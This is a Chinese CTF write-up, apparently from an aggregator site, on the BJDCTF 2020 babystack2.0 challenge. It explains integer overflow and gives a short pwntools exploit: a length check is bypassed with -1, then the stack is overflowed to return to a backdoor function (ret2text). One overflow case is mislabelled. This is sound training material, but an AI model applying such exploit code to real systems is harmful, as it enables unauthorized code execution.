【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

这篇具有很好参考价值的文章主要介绍了【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单

目录

前言

一、整数溢出

二、解题思路

1.ELF/checksec查看保护

2.IDA反汇编

3.整数溢出 

4.exp编写

总结


前言

整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。


一、整数溢出

整数溢出

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出堆溢出,而后两者都会导致任意代码执行。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

整数的计算

计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。

数据类型 字节数(16位) 字节数(32位) 字节数(64位) 取值范围(32位)(10进制) 取值范围(32位)(16进制)
byte 1 1 1 -128 ~ 127 0x00 ~ 0xFF
char 1 1 1 -128 ~ 127 0x00 ~ 0xFF
int 2 4 4 -2,147,483,648 ~ 2,147,483,647 0xFFFFFFFF ~ 0x80000000(-0)
0x00000000(+0) ~ 0x7FFFFFFF
unsigned int 2 4 4 0 ~ 4,294,967,295 0x00000000 ~ 0xFFFFFFFF
float 4 4 8 3.4E +/- 38(7 digits)
double 8 8 8 1.7E +/- 308(15 digits)

异常情况

关于整数的异常情况主要有三种:

  1. 溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。溢出标志OF可检测有符号数的溢出;
  2. 回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。进位标志CF可检测无符号数的回绕;
  3. 截断,将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断

或者说计算机中有4种溢出情况,以32位整数为例。

  • 无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。
  • 无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。
  • 有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。
  • 无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。

整数溢出漏洞利用

整数溢出要配合其他类型的缺陷才能有用,不像栈溢出等内存破坏可以直接通过覆盖内存进行利用,常常需要进行一定转换才能溢出。常见的转换方式有两种。

  1. 整数溢出转换成缓冲区溢出
    整数溢出可以将一个很小的数突变成很大的数。比如,无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数,导致缓冲区溢出。
    另一种情况是通过输入负数的办法来绕过一些长度检查,如一些程序会使用有符号数字表示长度,那么就可以使用负数来绕过长度上限检查。而大多数系统API使用无符号数来表示长度,此时负数就会变成超大的正数导致溢出。
  2. 整数溢出转数组越界
    在C语言中,数组索引的操作只是简单地将数组指针加上索引来实现,并不会检查边界。因此,很大的索引会访问到数组后的数据,如果索引是负数,那么还会访问到数组之前的内存。
    在数组索引的过程中,数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例,数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查,那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4,那么依然可以索引数组后的数据甚至整个内存空间。例如,想要索引数组后0x1000字节处的内容,只需要传入负数-2147482624,该值用十六进制数表示为0x80000400,再乘以元素长度4后,由于无符号整数上溢结果,即为0x00001000。可以看到,与整数溢出转缓冲区溢出相比,数组越界更容易利用。

整数溢出https://www.cnblogs.com/darkcyan/p/16306448.html

二、解题思路

1.ELF/checksec查看保护

【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

2.IDA反汇编

【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

阅读后大意:输入数字,如果大于10,退出;否则读取数据——read存在栈溢出漏洞 

问题就是read的输入长度需要“小于10”才可以执行——明面上是这样的。 

3.整数溢出 

这里对nbytes做出了限制,有没有一种可能,nbytes<10且足够长呢?整数溢出

这里关注到nbytes的类型是无符号整型,并且在比较代码,贴心地进行了(int)强制类型转换为有符号数——存在整数溢出。

我们可以输入-1——机器码对应的无符号数非常大,然而被转换成有符号数时,足够小 这样是不是就满足我们上面的要求了呢?

【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

在这之后就是最最基本的ret2text了!【PWN · ret2text】——[CTFHub]ret2text_ctfhub ret2text_Mr_Fmnwon的博客-CSDN博客

4.exp编写

确定了基本的模式——

首先输入-1(或其他负数/大正数,-1简单),然后开始ret2text

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
io=remote(...)
backdoor=0x400726
io.sendlineafter("length of your name:","-1")
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter("name?",payload)
io.interactive()

总结

整数溢出一般与其他堆栈溢出相结合,然而其中的内容其实远不止这些,还需要深层次刷题,进一步掌握了解整数溢出。文章来源地址https://www.toymoban.com/news/detail-460972.html

到了这里,关于【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(31)
  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(25)
  • 华科信息系统安全作业: 利用ret2libc实现控制流劫持

            main()函数分析         要进行劫持的目标程序如下          主程序这里三段代码的功能都是进行简单的安全防护           我们可以找到 geteuid() 与 setreuid() 函数的相关解释,简单来说,euid(有效用户)是创建程序的用户id,uid(真实用户)是运行程序过

    2024年02月04日
    浏览(27)
  • BUU [BJDCTF2020]ZJCTF,不过如此

    和BUU [ZJCTF 2019]NiZhuanSiWei一样。 得到next.php源码。 最终目的是调用getFlag()然后命令执行。 get和session两个值一样的,名字为id的变量,没什么用,估计是用来混淆不知道的那些人。 preg_replace()的/e模式存在命令执行漏洞。 深入研究preg_replace与代码执行 - 先知社区 (aliyun.com) 最

    2024年02月13日
    浏览(24)
  • 【HUST】信息系统安全:Ret2libc多函数调用,ASLR两种情况(1)

    Ret2libc:Return to libc,顾名思义,就是通过 劫持控制流使控制流指向 libc 中的系统函数,从而实现打开shell等其他工作。 在本次作业中,我们的目标是通过运行stack.c程序来访问系统上的/tmp/flag程序的内容,其中,可以看到stack.c的程序的源代码如下:         其中不难发现rea

    2024年02月04日
    浏览(26)
  • [BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞

      目录 preg_replace的/e模式 为什么要变为 {${phpinfo()}} 另一个方法 版本 直接看看代码 首先 text file获取参数 判断 text为空 和 读取 text的文件内容 并且要为 I have a dream 这里可以使用data伪协议绕过 让 text识别到 I have a dream 本地测试一下就知道了 通过 data获取 I have a dream 得到该数

    2024年02月09日
    浏览(33)
  • Python之html2text,清晰解读HTML内容!

    更多Python学习内容:ipengtao.com 大家好,我是彭涛,今天为大家分享 Python之html2text,清晰解读HTML内容,全文3900字,阅读大约10分钟。 HTML是Web开发中常见的标记语言,但有时我们需要将HTML内容转换为纯文本,以便进行更灵活的处理和分析。在Python中,有一个强大的库叫做 ht

    2024年02月04日
    浏览(26)
  • 从图片到文字:Midjourney 令人费解的 Image2Text 功能正在重塑创意景观

    准备好迎接 Midjourney AI Image Generator 的最新更新!AI 技术的这一创新飞跃通过引入强大的 Image2Text 功能改变了我们体验图像的方式。 只需使用/describe命令并上传图片,然后敬畏地看着 Midjourney 制作四个有趣的文本提示,生动地描述您的图片。 在本文中,我们将开始激动人心的

    2024年02月14日
    浏览(27)
  • call指令和ret指令【笔记+详解】

       在高级语言中,常有主程序调用其他子程序,子程序还可以调用子程序…,比如在C语言中,在main主函数里调用cube函数,该函数被执行完后返回main函数,然后程序继续往下执行,如下:   在汇编语言中也有类似的这种机制,能实现主程序调用子程序。这就要使用cal

    2024年02月03日
    浏览(29)
  • (十)汇编语言——CALL和RET指令

    相信大家肯定在C语言里面接触过函数这个概念,或者是一些高级语言里面的方法,那么汇编语言有没有这样类似的概念呢,答案是当然的,接下来就让我们来介绍一下汇编的模块化程序设计。 这个CALL指令呢,我们是第一次接触,它主要的作用就是调用子程序,实质上就是进

    2024年02月05日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包